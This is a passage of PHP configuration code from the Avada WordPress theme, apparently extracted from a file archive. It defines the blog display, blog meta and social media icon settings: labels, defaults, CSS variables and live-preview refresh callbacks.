=> 'blog_layout', 'operator' => '=', 'value' => 'masonry', ], [ 'setting' => 'blog_layout', 'operator' => '=', 'value' => 'timeline', ], [ 'setting' => 'blog_archive_layout', 'operator' => '=', 'value' => 'grid', ], [ 'setting' => 'blog_archive_layout', 'operator' => '=', 'value' => 'masonry', ], [ 'setting' => 'blog_archive_layout', 'operator' => '=', 'value' => 'timeline', ], ], 'update_callback' => [ [ // 2-levels deep because we want this to be OR. [ 'condition' => 'is_home', 'operator' => '===', 'value' => true, ], [ 'condition' => 'is_archive', 'operator' => '===', 'value' => true, ], ], ], ], 'content_length' => [ 'label' => esc_html__( 'Blog Content Display', 'Avada' ), 'description' => esc_html__( 'Controls if the blog content displays an excerpt or full content or is completely disabled for the assigned blog page in "Settings > Reading" or blog archive pages.', 'Avada' ), 'id' => 'content_length', 'default' => 'excerpt', 'type' => 'radio-buttonset', 'choices' => [ 'excerpt' => esc_html__( 'Excerpt', 'Avada' ), 'full_content' => esc_html__( 'Full Content', 'Avada' ), 'hide' => esc_html__( 'No Text', 'Avada' ), ], ], 'excerpt_length_blog' => [ 'label' => esc_html__( 'Excerpt Length', 'Avada' ), 'description' => sprintf( __( 'Controls the number of %s in the excerpts on the assigned blog page in "Settings > Reading" or on blog archive pages.', 'Avada' ), Fusion_Settings::get_instance()->get_default_description( 'excerpt_base', false, 'no_desc' ) ), 'id' => 'excerpt_length_blog', 'default' => '10', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '500', 'step' => '1', ], 'required' => [ [ 'setting' => 'content_length', 'operator' => '==', 'value' => 'excerpt', ], ], 'update_callback' => [ [ // 2-levels deep because we want this to be OR. [ 'condition' => 'is_home', 'operator' => '===', 'value' => true, ], [ 'condition' => 'is_archive', 'operator' => '===', 'value' => true, ], ], ], ], 'strip_html_excerpt' => [ 'label' => esc_html__( 'Strip HTML from Excerpt', 'Avada' ), 'description' => esc_html__( 'Turn on to strip HTML content from the excerpt for the assigned blog page in "Settings > Reading" or blog archive pages.', 'Avada' ), 'id' => 'strip_html_excerpt', 'default' => '1', 'type' => 'switch', 'update_callback' => [ [ // 2-levels deep because we want this to be OR. [ 'condition' => 'is_home', 'operator' => '===', 'value' => true, ], [ 'condition' => 'is_archive', 'operator' => '===', 'value' => true, ], ], ], ], 'featured_images' => [ 'label' => esc_html__( 'Featured Image / Video on Blog Archive Page', 'Avada' ), 'description' => esc_html__( 'Turn on to display featured images and videos on the blog archive pages.', 'Avada' ), 'id' => 'featured_images', 'default' => '1', 'type' => 'switch', 'update_callback' => [ [ // 2-levels deep because we want this to be OR. [ 'condition' => 'is_home', 'operator' => '===', 'value' => true, ], [ 'condition' => 'is_archive', 'operator' => '===', 'value' => true, ], ], ], 'edit_shortcut' => [ 'selector' => [ 'body:not(.single-avada_portfolio) .fusion-featured-image-wrapper', '.single-avada_portfolio .fusion-featured-image-wrapper .fusion-post-slideshow', ], 'shortcuts' => [ [ 'aria_label' => esc_html__( 'Edit Featured Image', 'Avada' ), 'callback' => 'fusionEditFeaturedImage', 'css_class' => '', 'icon' => 'fusiona-image', ], ], ], ], 'dates_box_color' => [ 'label' => esc_attr__( 'Blog Alternate Layout Date Box Color', 'fusion-builder' ), 'description' => esc_attr__( 'Controls the color of the date box in blog alternate and recent posts layouts.', 'fusion-builder' ), 'id' => 'dates_box_color', 'default' => 'var(--awb-color2)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--dates_box_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'alternate_date_format_month_year' => [ 'label' => esc_html__( 'Blog Alternate Layout Month and Year Format', 'Avada' ), 'description' => __( 'Controls the month and year format for blog alternate layouts. Formatting Date and Time', 'Avada' ), 'id' => 'alternate_date_format_month_year', 'default' => 'm, Y', 'type' => 'text', ], 'alternate_date_format_day' => [ 'label' => esc_html__( 'Blog Alternate Layout Day Format', 'Avada' ), 'description' => __( 'Controls the day format for blog alternate layouts. Formatting Date and Time', 'Avada' ), 'id' => 'alternate_date_format_day', 'default' => 'j', 'type' => 'text', ], 'timeline_date_format' => [ 'label' => esc_html__( 'Blog Timeline Layout Date Format', 'Avada' ), 'description' => __( 'Controls the timeline label format for blog timeline layouts. Formatting Date', 'Avada' ), 'id' => 'timeline_date_format', 'default' => 'F Y', 'type' => 'text', ], ], ]; $blog_single_post_info_2 = [ 'label' => esc_html__( 'Blog Single Post', 'Avada' ), 'description' => '', 'id' => 'blog_single_post_info_2', 'default' => '', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'content_blog_single_post_template_override_notice' => [ 'id' => 'content_blog_single_post_template_override_notice', 'label' => '', 'hidden' => ! $has_global_content, 'description' => class_exists( 'Fusion_Template_Builder' ) ? sprintf( /* translators: %1$s: Content|Header|Footer|Page Title Bar. %2$s: Layout selection URL. */ '
' . __( 'IMPORTANT NOTE: The options on this tab are not available because a global %1$s override is currently used. To edit your global layout please visit this page.', 'Avada' ) . '
', Fusion_Template_Builder::get_instance()->get_template_terms()['content']['label'], admin_url( 'admin.php?page=avada-layouts' ) ) : '', 'type' => 'custom', ], 'content_blog_single_post_template_notice' => [ 'id' => 'content_blog_single_post_template_notice', 'label' => '', 'hidden' => $has_global_content, 'description' => class_exists( 'Fusion_Template_Builder' ) ? sprintf( /* translators: %1$s: Live Builder. %2$s: Content|Header|Footer|Page Title Bar. %3$s: Layout selection URL. */ '
' . __( 'IMPORTANT NOTE: For more flexibility and a modern, more performant setup, we recommend using the %1$s to create a custom %2$s Layout. visit this page.', 'Avada' ) . '
', isset( $template_terms['content']['alias'] ) ? $template_terms['content']['alias'] : '', Fusion_Template_Builder::get_instance()->get_template_terms()['content']['label'], admin_url( 'admin.php?page=avada-layouts' ) ) : '', 'type' => 'custom', ], 'blog_width_100' => [ 'label' => esc_html__( '100% Width Page', 'Avada' ), 'description' => esc_html__( 'Turn on to display blog posts at 100% browser width according to the window size. Turn off to follow site width.', 'Avada' ), 'id' => 'blog_width_100', 'default' => 0, 'type' => 'switch', 'hidden' => $has_global_content, 'update_callback' => [ [ 'condition' => 'is_singular', 'operator' => '===', 'value' => true, ], ], ], 'featured_images_single' => [ 'label' => esc_html__( 'Featured Image / Video on Single Blog Post', 'Avada' ), 'description' => esc_html__( 'Turn on to display featured images and videos on single blog posts.', 'Avada' ), 'id' => 'featured_images_single', 'default' => '1', 'type' => 'switch', 'hidden' => $has_global_content, 'update_callback' => [ [ 'condition' => 'is_singular', 'operator' => '===', 'value' => true, ], ], ], 'blog_pn_nav' => [ 'label' => esc_html__( 'Previous/Next Pagination', 'Avada' ), 'description' => esc_html__( 'Turn on to display the previous/next post pagination for single blog posts.', 'Avada' ), 'id' => 'blog_pn_nav', 'default' => '1', 'type' => 'switch', 'hidden' => $has_global_content, 'update_callback' => [ [ 'condition' => 'is_singular', 'operator' => '===', 'value' => true, ], ], ], 'blog_post_title' => [ 'label' => esc_html__( 'Post Title', 'Avada' ), 'description' => esc_html__( 'Controls if the post title displays above or below the featured post image or is disabled.', 'Avada' ), 'id' => 'blog_post_title', 'default' => 'below', 'type' => 'radio-buttonset', 'hidden' => $has_global_content, 'choices' => [ 'below' => esc_html__( 'Below ', 'Avada' ), 'above' => esc_html__( 'Above', 'Avada' ), 'disabled' => esc_html__( 'Disabled', 'Avada' ), ], 'update_callback' => [ [ 'condition' => 'is_singular', 'operator' => '===', 'value' => true, ], ], ], 'blog_post_meta_position' => [ 'label' => esc_html__( 'Meta Data Position', 'Avada' ), 'description' => esc_html__( 'Choose where the meta data is positioned.', 'Avada' ), 'id' => 'blog_post_meta_position', 'default' => 'below_article', 'type' => 'radio-buttonset', 'hidden' => $has_global_content, 'choices' => [ 'below_article' => esc_html__( 'Below Article', 'Avada' ), 'below_title' => esc_html__( 'Below Title', 'Avada' ), ], 'required' => [ [ 'setting' => 'blog_post_title', 'operator' => '!=', 'value' => 'disabled', ], ], 'update_callback' => [ [ 'condition' => 'is_singular', 'operator' => '===', 'value' => true, ], ], ], 'social_sharing_box' => [ 'label' => esc_html__( 'Social Sharing Box', 'Avada' ), 'description' => esc_html__( 'Turn on to display the social sharing box.', 'Avada' ), 'id' => 'social_sharing_box', 'default' => '1', 'type' => 'switch', 'hidden' => $has_global_content, 'update_callback' => [ [ 'condition' => 'is_singular', 'operator' => '===', 'value' => true, ], ], ], 'author_info' => [ 'label' => esc_html__( 'Author Info Box', 'Avada' ), 'description' => esc_html__( 'Turn on to display the author info box below posts.', 'Avada' ), 'id' => 'author_info', 'default' => '1', 'type' => 'switch', 'hidden' => $has_global_content, 'update_callback' => [ [ 'condition' => 'is_singular', 'operator' => '===', 'value' => true, ], ], ], 'related_posts' => [ 'label' => esc_html__( 'Related Posts', 'Avada' ), 'description' => esc_html__( 'Turn on to display related posts.', 'Avada' ), 'id' => 'related_posts', 'default' => '1', 'type' => 'switch', 'hidden' => $has_global_content, 'update_callback' => [ [ 'condition' => 'is_singular', 'operator' => '===', 'value' => true, ], ], ], 'blog_comments' => [ 'label' => esc_html__( 'Comments', 'Avada' ), 'description' => esc_html__( 'Turn on to display comments.', 'Avada' ), 'id' => 'blog_comments', 'default' => '1', 'type' => 'switch', 'hidden' => $has_global_content, 'update_callback' => [ [ 'condition' => 'is_singular', 'operator' => '===', 'value' => true, ], ], ], ], ]; $blog_meta_info = [ 'label' => esc_html__( 'Blog Meta', 'Avada' ), 'description' => '', 'id' => 'blog_meta', 'default' => '', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'blog_meta_important_note_info' => [ 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: The on/off meta options on this tab only control the assigned blog page in "Settings > Reading" or the blog archives, not the blog element. The only options on this tab that work with the blog element are the Meta Data Font Size and Date Format options.', 'Avada' ) . '
', 'id' => 'blog_meta_important_note_info', 'type' => 'custom', ], 'post_meta' => [ 'label' => esc_html__( 'Post Meta', 'Avada' ), 'description' => esc_html__( 'Turn on to display post meta on blog posts. If set to "On", you can also control individual meta items below. If set to "Off" all meta items will be disabled.', 'Avada' ), 'id' => 'post_meta', 'default' => '1', 'type' => 'switch', /** * WIP: Disabled for now because of FB. * 'update_callback' => [ [ // 2-levels deep because we want this to be OR. [ 'condition' => 'is_home', 'operator' => '===', 'value' => true, ], [ 'condition' => 'is_archive', 'operator' => '===', 'value' => true, ], ], ], */ ], 'post_meta_author' => [ 'label' => esc_html__( 'Post Meta Author', 'Avada' ), 'description' => esc_html__( 'Turn on to display the post meta author name.', 'Avada' ), 'id' => 'post_meta_author', 'default' => '1', 'type' => 'switch', 'required' => [ [ 'setting' => 'post_meta', 'operator' => '==', 'value' => '1', ], ], /** * WIP: Disabled for now because of FB. * 'update_callback' => [ [ // 2-levels deep because we want this to be OR. [ 'condition' => 'is_home', 'operator' => '===', 'value' => true, ], [ 'condition' => 'is_archive', 'operator' => '===', 'value' => true, ], ], ], */ ], 'post_meta_date' => [ 'label' => esc_html__( 'Post Meta Date', 'Avada' ), 'description' => esc_html__( 'Turn on to display the post meta date.', 'Avada' ), 'id' => 'post_meta_date', 'default' => '1', 'type' => 'switch', 'required' => [ [ 'setting' => 'post_meta', 'operator' => '==', 'value' => '1', ], ], /** * WIP: Disabled for now because of FB. * 'update_callback' => [ [ // 2-levels deep because we want this to be OR. [ 'condition' => 'is_home', 'operator' => '===', 'value' => true, ], [ 'condition' => 'is_archive', 'operator' => '===', 'value' => true, ], ], ], */ ], 'post_meta_cats' => [ 'label' => esc_html__( 'Post Meta Categories', 'Avada' ), 'description' => esc_html__( 'Turn on to display the post meta categories.', 'Avada' ), 'id' => 'post_meta_cats', 'default' => '1', 'type' => 'switch', 'required' => [ [ 'setting' => 'post_meta', 'operator' => '==', 'value' => '1', ], ], /** * WIP: Disabled for now because of FB. * 'update_callback' => [ [ // 2-levels deep because we want this to be OR. [ 'condition' => 'is_home', 'operator' => '===', 'value' => true, ], [ 'condition' => 'is_archive', 'operator' => '===', 'value' => true, ], ], ], */ ], 'post_meta_comments' => [ 'label' => esc_html__( 'Post Meta Comments', 'Avada' ), 'description' => esc_html__( 'Turn on to display the post meta comments.', 'Avada' ), 'id' => 'post_meta_comments', 'default' => '1', 'type' => 'switch', 'required' => [ [ 'setting' => 'post_meta', 'operator' => '==', 'value' => '1', ], ], /** * WIP: Disabled for now because of FB. * 'update_callback' => [ [ // 2-levels deep because we want this to be OR. [ 'condition' => 'is_home', 'operator' => '===', 'value' => true, ], [ 'condition' => 'is_archive', 'operator' => '===', 'value' => true, ], ], ], */ ], 'post_meta_read' => [ 'label' => esc_html__( 'Post Meta Read More Link', 'Avada' ), 'description' => esc_html__( 'Turn on to display the post meta read more link.', 'Avada' ), 'id' => 'post_meta_read', 'default' => '1', 'type' => 'switch', 'required' => [ [ 'setting' => 'post_meta', 'operator' => '==', 'value' => '1', ], ], /** * WIP: Disabled for now because of FB. * 'update_callback' => [ [ // 2-levels deep because we want this to be OR. [ 'condition' => 'is_home', 'operator' => '===', 'value' => true, ], [ 'condition' => 'is_archive', 'operator' => '===', 'value' => true, ], ], ], */ ], 'post_meta_tags' => [ 'label' => esc_html__( 'Post Meta Tags', 'Avada' ), 'description' => esc_html__( 'Turn on to display the post meta tags.', 'Avada' ), 'id' => 'post_meta_tags', 'default' => '0', 'type' => 'switch', 'required' => [ [ 'setting' => 'post_meta', 'operator' => '==', 'value' => '1', ], ], /** * WIP: Disabled for now because of FB. * 'update_callback' => [ [ // 2-levels deep because we want this to be OR. [ 'condition' => 'is_home', 'operator' => '===', 'value' => true, ], [ 'condition' => 'is_archive', 'operator' => '===', 'value' => true, ], ], ], */ ], 'meta_font_size' => [ 'label' => esc_html__( 'Meta Data Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the font size for meta data text.', 'Avada' ), 'id' => 'meta_font_size', 'default' => '13px', 'type' => 'dimension', 'css_vars' => [ [ 'name' => '--meta_font_size', ], ], ], 'date_format' => [ 'label' => esc_html__( 'Date Format', 'Avada' ), 'description' => sprintf( /* translators: Link to general settings in the dashboard. */ __( 'Controls the date format for date meta data. Formatting Date and Time. Leave empty to use the default value from your WordPress Settings', 'Avada' ), esc_url( admin_url( 'options-general.php' ) ) ), 'id' => 'date_format', 'default' => '', 'type' => 'text', ], ], ]; $sections['blog'] = [ 'label' => esc_html__( 'Blog', 'Avada' ), 'id' => 'blog_section', 'priority' => 15, 'icon' => 'el-icon-file-edit', 'alt_icon' => 'fusiona-blog', 'class' => 'hidden-section-heading', 'fields' => [ 'blog_general_options' => $blog_general_options, 'blog_single_post_info_2' => $blog_single_post_info_2, 'blog_meta_info' => $blog_meta_info, ], ]; return $sections; } Avada/includes/options/social_media.php000064400000116531152342437700014221 0ustar00 esc_html__( 'Social Media', 'Avada' ), 'id' => 'heading_social_media', 'priority' => 18, 'icon' => 'el-icon-share-alt', 'alt_icon' => 'fusiona-link', 'fields' => [ 'social_media_icons_section' => [ 'label' => esc_html__( 'Social Media Icons', 'Avada' ), 'id' => 'social_media_icons_section', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'social_media_icons_important_note_info' => [ 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: This tab controls the social networks that display in legacy headers and footers. Custom icons created here can also be used in the Social Links and the Person element.', 'Avada' ) . '
', 'id' => 'social_media_icons_important_note_info', 'type' => 'custom', ], 'social_media_icons' => [ 'label' => esc_html__( 'Social Media Icons / Links', 'Avada' ), 'description' => esc_html__( 'Social media links use a repeater field and allow one network per field. Click the "Add" button to add additional fields.', 'Avada' ), 'id' => 'social_media_icons', 'default' => [ 'fusionredux_repeater_data' => [ [ 'title' => '', ], [ 'title' => '', ], [ 'title' => '', ], [ 'title' => '', ], ], 'icon' => [ 'facebook', 'twitter', 'instagram', 'pinterest' ], 'url' => [ '#', '#', '#', '#' ], 'custom_title' => [ '', '', '', '' ], 'custom_icon_mark' => [ '', '', '', '' ], 'custom_source' => [ [ 'url' => '', 'id' => '', 'height' => '', 'width' => '', 'thumbnail' => '', ], [ 'url' => '', 'id' => '', 'height' => '', 'width' => '', 'thumbnail' => '', ], [ 'url' => '', 'id' => '', 'height' => '', 'width' => '', 'thumbnail' => '', ], [ 'url' => '', 'id' => '', 'height' => '', 'width' => '', 'thumbnail' => '', ], ], ], 'type' => 'repeater', 'bind_title' => 'icon', 'limit' => 50, 'fields' => [ 'icon' => [ 'id' => 'icon', 'type' => 'select', 'label' => esc_html__( 'Social Network', 'Avada' ), 'description' => esc_html__( 'Select a social network to automatically add its icon', 'Avada' ), 'default' => 'none', 'choices' => Fusion_Data::fusion_social_icons( true, false ), ], 'icon_mark' => [ 'type' => 'iconpicker', 'id' => 'icon_mark', 'heading' => esc_attr__( 'Icon', 'fusion-builder' ), 'description' => esc_attr__( 'Click an icon to select, click again to deselect.', 'fusion-builder' ), 'default' => '', ], 'url' => [ 'id' => 'url', 'type' => 'text', 'label' => esc_html__( 'Custom Link', 'Avada' ), 'description' => esc_html__( 'Insert your custom link here', 'Avada' ), 'default' => '', ], 'custom_title' => [ 'id' => 'custom_title', 'type' => 'text', 'label' => esc_html__( 'Custom Icon Title', 'Avada' ), 'description' => esc_html__( 'Insert a title for your custom icon here', 'Avada' ), 'default' => '', 'required' => [ [ 'setting' => 'icon', 'operator' => '==', 'value' => 'custom', ], ], ], 'custom_source' => [ 'id' => 'custom_source', 'type' => 'media', 'label' => esc_html__( 'Choose the image you want to use as icon', 'Avada' ), 'description' => esc_html__( 'Upload your custom icon', 'Avada' ), 'default' => '', 'mode' => false, 'required' => [ [ 'setting' => 'icon', 'operator' => '==', 'value' => 'custom', ], ], ], ], 'partial_refresh' => [ // Partial refresh for the header. 'header_content_social_media_icons_remove_before_hook' => [ 'selector' => '.avada-hook-before-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_content_social_media_icons_remove_after_hook' => [ 'selector' => '.avada-hook-after-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_content_social_media_icons' => [ 'selector' => '.fusion-header-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => 'header-rendered', ], // Partial refresh for the footer. 'footer_content_social_media_icons' => [ 'selector' => '.fusion-footer', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'footer' ], 'skip_for_template' => [ 'footer' ], ], // Partial refresh for the sharingbox. 'sharingbox_social_media_icons' => [ 'selector' => '.fusion-theme-sharing-box.fusion-single-sharing-box', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'sharingbox' ], 'success_trigger_event' => 'fusionInitTooltips', ], ], ], ], ], 'header_social_icons_options' => [ 'label' => esc_html__( 'Header Social Icons Styling', 'Avada' ), 'description' => '', 'id' => 'header_social_icons_options', 'default' => '', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'header_social_links_override_notice' => [ 'id' => 'header_social_links_override_notice', 'label' => '', 'hidden' => ! $has_global_header, 'description' => class_exists( 'Fusion_Template_Builder' ) && $has_global_header ? sprintf( /* translators: 1: Content|Footer|Page Title Bar. 2: URL. */ '
' . __( 'IMPORTANT NOTE: The options on this tab are not available because a global %1$s override is currently used. To edit your global layout please visit this page.', 'Avada' ) . '
', Fusion_Template_Builder::get_instance()->get_template_terms()['header']['label'], admin_url( 'admin.php?page=avada-layouts' ) ) : '', 'type' => 'custom', ], 'header_social_links_notice' => [ 'id' => 'header_social_links_notice', 'label' => '', 'hidden' => $has_global_header, 'description' => class_exists( 'Fusion_Template_Builder' ) ? sprintf( /* translators: %1$s: Content|Footer|Page Title Bar. %2$s: Layout selection URL. */ '
' . __( 'IMPORTANT NOTE: For more flexibility and a modern, more performant setup, we recommend using the %1$s Builder to create a custom %1$s Layout. visit this page.', 'Avada' ) . '
', Fusion_Template_Builder::get_instance()->get_template_terms()['header']['label'], admin_url( 'admin.php?page=avada-layouts' ) ) : '', 'type' => 'custom', ], 'header_social_links_font_size' => [ 'label' => esc_html__( 'Header Social Icon Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the font size of the header social icons.', 'Avada' ), 'id' => 'header_social_links_font_size', 'default' => '16px', 'hidden' => $has_global_header, 'type' => 'dimension', 'css_vars' => [ [ 'name' => '--header_social_links_font_size', 'element' => '.fusion-social-networks', ], ], ], 'header_social_links_tooltip_placement' => [ 'label' => esc_html__( 'Header Social Icon Tooltip Position', 'Avada' ), 'description' => esc_html__( 'Controls the tooltip position of the header social icons.', 'Avada' ), 'id' => 'header_social_links_tooltip_placement', 'default' => 'Bottom', 'hidden' => $has_global_header, 'type' => 'radio-buttonset', 'choices' => [ 'top' => esc_html__( 'Top', 'Avada' ), 'right' => esc_html__( 'Right', 'Avada' ), 'bottom' => esc_html__( 'Bottom', 'Avada' ), 'left' => esc_html__( 'Left', 'Avada' ), 'none' => esc_html__( 'None', 'Avada' ), ], // Partial refresh for the header. 'partial_refresh' => [ 'header_content_header_social_links_tooltip_placement_remove_before_hook' => [ 'selector' => '.avada-hook-before-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_content_header_social_links_tooltip_placement_remove_after_hook' => [ 'selector' => '.avada-hook-after-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_content_header_social_links_tooltip_placement' => [ 'selector' => '.fusion-header-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => [ 'header-rendered', 'fusionInitTooltips' ], ], ], ], 'header_social_links_color_type' => [ 'label' => esc_html__( 'Header Social Icon Color Type', 'Avada' ), 'description' => esc_html__( 'Custom colors allow you to choose a color for icons and boxes. Brand colors will use the exact brand color of each network for the icons or boxes.', 'Avada' ), 'id' => 'header_social_links_color_type', 'default' => 'custom', 'hidden' => $has_global_header, 'type' => 'radio-buttonset', 'choices' => [ 'custom' => esc_html__( 'Custom Colors', 'Avada' ), 'brand' => esc_html__( 'Brand Colors', 'Avada' ), ], // Partial refresh for the header. 'partial_refresh' => [ 'header_content_header_social_links_color_type_remove_before_hook' => [ 'selector' => '.avada-hook-before-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_content_header_social_links_color_type_remove_after_hook' => [ 'selector' => '.avada-hook-after-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_content_header_social_links_color_type' => [ 'selector' => '.fusion-header-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => [ 'header-rendered', 'fusionInitTooltips' ], ], ], ], 'header_social_links_icon_color' => [ 'label' => esc_html__( 'Header Social Icon Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of the header social icons. This color will be used for all social icons in the header.', 'Avada' ), 'id' => 'header_social_links_icon_color', 'default' => 'var(--awb-color1)', 'hidden' => $has_global_header, 'type' => 'color-alpha', 'required' => [ [ 'setting' => 'header_social_links_color_type', 'operator' => '==', 'value' => 'custom', ], ], 'css_vars' => [ [ 'name' => '--header_social_links_icon_color', 'element' => '.fusion-social-network-icon', 'callback' => [ 'sanitize_color' ], ], ], ], 'header_social_links_boxed' => [ 'label' => esc_html__( 'Header Social Icons Boxed', 'Avada' ), 'description' => esc_html__( 'Controls if each icon is displayed in a small box.', 'Avada' ), 'id' => 'header_social_links_boxed', 'default' => '0', 'hidden' => $has_global_header, 'type' => 'switch', // Partial refresh for the header. 'partial_refresh' => [ 'header_content_header_social_links_boxed_remove_before_hook' => [ 'selector' => '.avada-hook-before-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_content_header_social_links_boxed_remove_after_hook' => [ 'selector' => '.avada-hook-after-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_content_header_social_links_boxed' => [ 'selector' => '.fusion-header-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => [ 'header-rendered', 'fusionInitTooltips' ], ], ], ], 'header_social_links_box_color' => [ 'label' => esc_html__( 'Header Social Icon Box Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of the social icon box.', 'Avada' ), 'id' => 'header_social_links_box_color', 'default' => 'var(--awb-color1)', 'hidden' => $has_global_header, 'type' => 'color-alpha', 'required' => [ [ 'setting' => 'header_social_links_boxed', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'header_social_links_color_type', 'operator' => '==', 'value' => 'custom', ], ], 'css_vars' => [ [ 'name' => '--header_social_links_box_color', 'element' => '.fusion-social-network-icon', 'callback' => [ 'sanitize_color' ], ], ], ], 'header_social_links_boxed_radius' => [ 'label' => esc_html__( 'Header Social Icon Boxed Radius', 'Avada' ), 'description' => esc_html__( 'Controls the box radius.', 'Avada' ), 'id' => 'header_social_links_boxed_radius', 'default' => '4px', 'hidden' => $has_global_header, 'type' => 'dimension', 'required' => [ [ 'setting' => 'header_social_links_boxed', 'operator' => '==', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--header_social_links_boxed_radius', 'element' => '.fusion-social-network-icon', ], ], ], 'header_social_links_boxed_padding' => [ 'label' => esc_html__( 'Header Social Icon Boxed Padding', 'Avada' ), 'description' => esc_html__( 'Controls the interior padding of the box.', 'Avada' ), 'id' => 'header_social_links_boxed_padding', 'default' => '8px', 'hidden' => $has_global_header, 'type' => 'dimension', 'required' => [ [ 'setting' => 'header_social_links_boxed', 'operator' => '==', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--header_social_links_boxed_padding', 'element' => '.fusion-social-networks', ], ], ], ], ], 'footer_social_icons_options' => [ 'label' => esc_html__( 'Footer Social Icons Styling', 'Avada' ), 'description' => '', 'id' => 'footer_social_icons_options', 'default' => '', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'footer_social_links_override_notice' => [ 'id' => 'footer_social_links_override_notice', 'label' => '', 'hidden' => ! $has_global_footer, 'description' => class_exists( 'Fusion_Template_Builder' ) && $has_global_footer ? sprintf( /* translators: 1: Content|Footer|Page Title Bar. 2: URL. */ '
' . __( 'IMPORTANT NOTE: The options on this tab are not available because a global %1$s override is currently used. To edit your global layout please visit this page.', 'Avada' ) . '
', Fusion_Template_Builder::get_instance()->get_template_terms()['footer']['label'], admin_url( 'admin.php?page=avada-layouts' ) ) : '', 'type' => 'custom', ], 'footer_social_links_notice' => [ 'id' => 'footer_social_links_notice', 'label' => '', 'hidden' => $has_global_footer, 'description' => class_exists( 'Fusion_Template_Builder' ) ? sprintf( /* translators: %1$s: Content|Footer|Page Title Bar. %2$s: Layout selection URL. */ '
' . __( 'IMPORTANT NOTE: For more flexibility and a modern, more performant setup, we recommend using the %1$s Builder to create a custom %1$s Layout. visit this page.', 'Avada' ) . '
', Fusion_Template_Builder::get_instance()->get_template_terms()['footer']['label'], admin_url( 'admin.php?page=avada-layouts' ) ) : '', 'type' => 'custom', ], 'icons_footer' => [ 'label' => esc_html__( 'Display Social Icons In The Footer', 'Avada' ), 'description' => esc_html__( 'Turn on to display social icons in the footer copyright bar.', 'Avada' ), 'id' => 'icons_footer', 'default' => '1', 'type' => 'switch', 'hidden' => $has_global_footer, 'partial_refresh' => [ 'footer_content_icons_footer' => [ 'selector' => '.fusion-footer', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'footer' ], 'success_trigger_event' => 'fusionInitTooltips', 'skip_for_template' => [ 'footer' ], ], ], ], 'footer_social_links_font_size' => [ 'label' => esc_html__( 'Footer Social Icon Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the font size of the footer social icons.', 'Avada' ), 'id' => 'footer_social_links_font_size', 'default' => '16px', 'type' => 'dimension', 'hidden' => $has_global_footer, 'required' => [ [ 'setting' => 'icons_footer', 'operator' => '==', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--footer_social_links_font_size', 'element' => '.fusion-social-networks', ], ], ], 'footer_social_links_tooltip_placement' => [ 'label' => esc_html__( 'Footer Social Icon Tooltip Position', 'Avada' ), 'description' => esc_html__( 'Controls the tooltip position of the footer social icons.', 'Avada' ), 'id' => 'footer_social_links_tooltip_placement', 'default' => 'Top', 'type' => 'radio-buttonset', 'hidden' => $has_global_footer, 'choices' => [ 'top' => esc_html__( 'Top', 'Avada' ), 'right' => esc_html__( 'Right', 'Avada' ), 'bottom' => esc_html__( 'Bottom', 'Avada' ), 'left' => esc_html__( 'Left', 'Avada' ), 'none' => esc_html__( 'None', 'Avada' ), ], 'required' => [ [ 'setting' => 'icons_footer', 'operator' => '==', 'value' => '1', ], ], 'partial_refresh' => [ 'footer_content_footer_social_links_tooltip_placement' => [ 'selector' => '.fusion-footer', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'footer' ], 'success_trigger_event' => [ 'fusionInitTooltips' ], 'skip_for_template' => [ 'footer' ], ], ], ], 'footer_social_links_color_type' => [ 'label' => esc_html__( 'Footer Social Icon Color Type', 'Avada' ), 'description' => esc_html__( 'Custom colors allow you to choose a color for icons and boxes. Brand colors will use the exact brand color of each network for the icons or boxes.', 'Avada' ), 'id' => 'footer_social_links_color_type', 'default' => 'custom', 'type' => 'radio-buttonset', 'hidden' => $has_global_footer, 'choices' => [ 'custom' => esc_html__( 'Custom Colors', 'Avada' ), 'brand' => esc_html__( 'Brand Colors', 'Avada' ), ], 'required' => [ [ 'setting' => 'icons_footer', 'operator' => '==', 'value' => '1', ], ], 'partial_refresh' => [ 'footer_content_footer_social_links_color_type' => [ 'selector' => '.fusion-footer', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'footer' ], 'success_trigger_event' => [ 'fusionInitTooltips' ], 'skip_for_template' => [ 'footer' ], ], ], ], 